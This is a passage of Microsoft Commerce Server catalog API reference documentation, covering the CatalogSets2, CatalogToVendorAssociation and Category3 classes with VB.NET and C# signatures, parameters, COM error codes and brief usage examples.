  Optional CatalogNamesRS As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void UpdateCatalogSet(
  string CatalogSetID,
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
The _Recordset interface of a Recordset object that contains the catalog names.
[C#]
CatalogSetID
A string that contains the catalog set ID (GUID).
CatalogSetName
A string that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A string that contains the catalog set description.
bWildCard
A bool that indicates which catalogs to use. A value of true indicates use all catalogs. A value of false indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
An ADODB26Lib._Recordset interface to the Recordset object that contains the catalog names. If bWildCard is false, this parameter is ignored and can be set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2 Properties (PIA)

Properties

Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.


CatalogSets2.OrganizationObjectCatalogSetKey Property (PIA)

The OrganizationObjectCatalogSetKey property is a read/write string that contains the CatalogSet key for the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectCatalogSetKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectCategorySetKey( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCatalogSetKey.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectCategoryName Property (PIA)

The OrganizationObjectCategoryName property is a read/write string that contains the category name of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectCatalogName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectCategoryName( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCategoryName.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectJoinKey Property (PIA)

The OrganizationObjectJoinKey property is a read/write String that contains the join key of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectJoinKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectJoinKey ( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectJoinKey.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectName Property (PIA)

The OrganizationObjectName property is a read/write String that contains the name of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectCategoryName Property (PIA)

The UserObjectCategoryName property is a read/write String that contains the category name of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectCategoryName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectCategoryName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#][in] When putting the property, a BSTR that contains the UserObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the UserObjectCategoryName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectJoinKey Property (PIA)

The UserObjectJoinKey property is a read/write String that contains the join key of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectJoinKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectJoinKey ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the UserObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectJoinKey.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectName Property (PIA)

The UserObjectName property is a read/write String that contains the name of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C++] [in] When putting the property, a BSTR that contains the UserObjectName.
[out, retval] When getting the property, a BSTR used to return the UserObjectName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectOrganizationKey Property (PIA)

The UserObjectOrganizationKey property is a read/write String that contains the organization key of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectOrganizationKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectOrganizationKey ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the UserObjectOrganizationKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectOrganizationKey.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogToVendorAssociation Class (PIA)

Use this object to associate catalogs with vendors.

Methods

Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)


CatalogToVendorAssociation Methods (PIA)

Methods

Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


CatalogToVendorAssociation.GetVendorInfoForCatalog Method (PIA)

Use this method to retrieve information about the vendor associated with the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetVendorInfoForCatalog(
  szCatalogID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVendorInfoForCatalog(
  string szCatalogID
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the ID of the catalog for which vendor information will be returned.
[C#]
szCatalogID
A string that contains the ID of the catalog for which vendor information will be returned.

Return Values

This method returns an ADO ADODB26Lib._Recordset interface to a Recordset object containing the requested vendor information.

[Visual Basic .NET]

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Example

rsVendorInfo = _
  myCatalogToVendorAssociation.GetVendorInfoForCatalog(szCatalogID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.GetVendorList Method (PIA)

Use this method to retrieve a list of vendors associated with the passed alias qualifier and value, and associated with the input document name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetVendorList(
  szSourceAliasQualifier As String,
  szSourceAliasValue As String,
  szInputDocumentName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVendorList(
  string szSourceAliasQualifier,
  string szSourceAliasValue,
  string szInputDocumentName
);

Parameters

[Visual Basic .NET]
szSourceAliasQualifier
A String that contains the source alias qualifier.
szSourceAliasValue
A String that contains the source alias value.
szInputDocumentName
A String that contains the input document name.
[C#]
szSourceAliasQualifier
A string that contains the source alias qualifier.
szSourceAliasValue
A string that contains the source alias value.
szInputDocumentName
A string that contains the input document name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object containing the requested list of vendors.

[C#] This method returns an ADO ADODB26Lib._Recordset interface to a Recordset object containing the requested list of vendors.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • This method is only available when BizTalk Server is installed. It requires the BizTalKDBInternal object.
[Visual Basic .NET]

Example

rsVendorList = _
  myCatalogToVendorAssociation.GetVendorList( _
    szSourceAliasQualifier, szSourceAliasValue, _
    szInputDocumentName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.Initialize Method (PIA)

Use this method to initialize a CatalogToVendorAssociation object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  vConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string vConnectionString
);

Parameters

[Visual Basic .NET]
vConnectionString
A String that contains the connection string for the database containing the catalog to vendor associations.
[C#]
vConnectionString
A string that contains the connection string for the database containing the catalog to vendor associations.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.Initialize(vConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.SpecifyVendorForCatalog Method (PIA)

Use this method to associate a vendor with a particular catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub SpecifyVendorForCatalog(
  szCatalogID As String,
  szVendorQualifier As String,
  szVendorQualifierValue As String,
  szVendorName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void SpecifyVendorForCatalog(
  string szCatalogID,
  string szVendorQualifier,
  string szVendorQualifierValue,
  string szVendorName
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the identifier of the catalog with which to associate the specified vendors.
szVendorQualifier
A String that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue
A String that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName
A String that contains the name of the vendor to be associated with the specified catalog.
[C#]
szCatalogID
A string that contains the identifier of the catalog with which to associate the specified vendors.
szVendorQualifier
A string that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue
A string that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName
A string that contains the name of the vendor to be associated with the specified catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.SpecifyVendorForCatalog( _
  szCatalogID, szVendorQualifier, _
  szVendorQualifierValue, szVendorName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.UnspecifyVendorForCatalog Method (PIA)

Use this method to disassociate a catalog with any previously associated vendors.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub UnspecifyVendorForCatalog(
  szCatalogID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void UnspecifyVendorForCatalog(
  string szCatalogID
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the identifier of the catalog with which no vendors should be associated.
[C#]
szCatalogID
A string that contains the identifier of the catalog with which no vendors should be associated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.UnspecifyVendorForCatalog(szCatalogID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


Category Class (PIA)

Use this object to work with relationships between categories and products. You can also use this object to manipulate parent/child relationships for a category.

Methods

Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product and category data within the category and its children.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | String | Contains the name of this category. This property is read-only.
ChildCategories | ADODB26Lib._Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | ADODB26Lib._Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | ADODB26Lib._Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.

Remarks

The Category object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • ProductCatalog.CreateCategory
  • ProductCatalog.GetCategory

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)


Category3 Methods (PIA)

Methods

Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
Search | Searches product and category data within the category and its children.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.


Category3.AddChildCategory Method (PIA)

Use this method to add a category as a child to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddChildCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddChildCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be added as a child to this category.
[C#]
strCategoryName
A string that contains the name of the category to be added as a child to this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_INVALID_CHILDCATEGORY | [C#] 0x8898005D [Visual Basic .NET] &H8898005D | An invalid relationship has been specified. The category that you specified already exists as a parent of this category.
E_CAT_CATEGORY_ALREADY_ADDED | [C#] 0x8898002D [Visual Basic .NET] &H8898002D | The category you specified is already added.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs
[Visual Basic .NET]

Example

myCategory.AddChildCategory("shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category.AddParentCategory

Category.RemoveChildCategory


Category3.AddParentCategory Method (PIA)

Use this method to add the specified category as a parent of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddParentCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddParentCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be added as a parent to this category.
[C#]
strCategoryName
A string that contains the name of the category to be added as a parent to this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_CATEGORY_ALREADY_ADDED | [C#] 0x8898002D [Visual Basic .NET] &H8898002D | The category you specified is already added.
E_CAT_PARENT_CAT_EXISTS_AS_CHILD | [C#] 0x88980052 [Visual Basic .NET] &H88980052 | The category that you specified as a Parent category already exists as a child category for this category.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

myCategory.AddParentCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category.AddChildCategory

Category.RemoveParentCategory


Category3.AddProduct Method (PIA)

Use this method to add the specified product to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddProduct(
  varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddProduct(
  object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the product to be added.
[C#]
varProductID
An object that contains the product to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_ALREADY_ADDED | [C#] 0x88980029 [Visual Basic .NET] &H88980029 | The product you specified is already present in this category.

Remarks

A product may exist in multiple categories simultaneously, without limit.

[Visual Basic .NET]

Example

myCategory.AddProduct("SKU4005")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveProduct


Category3.AddRelationshipToCategory Method (PIA)

Use this method to add a relationship from this category to another specified category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName,
  object strRelationshipDescription
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object of subtype String that contains an optional description for the relationship.
[C#]
strRelatedCategoryName
A string that contains the name of the category to which a relationship is to be added.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object of subtype String that contains an optional description for the relationship. Set to Type.Missing to specify no description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship descriptions should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. (They can only be edited in the base catalog context).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

Remarks

A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on"). Relationships are one way, that is, if category A has a relationship to category B, that does not create a reciprocal relationship from category B to category A.

When multiple relationships are created between the same two categories, each relationship must have a unique name.

[Visual Basic .NET]

Example

myCategory.AddRelationshipToCategory("Apparel", _
  "Accessory", "This would go great with that!")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveRelationshipToCategory


Category3.AddRelationshipToProduct Method (PIA)

Use this method to add a relationship between the specified product and this category. This relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on").

Definition

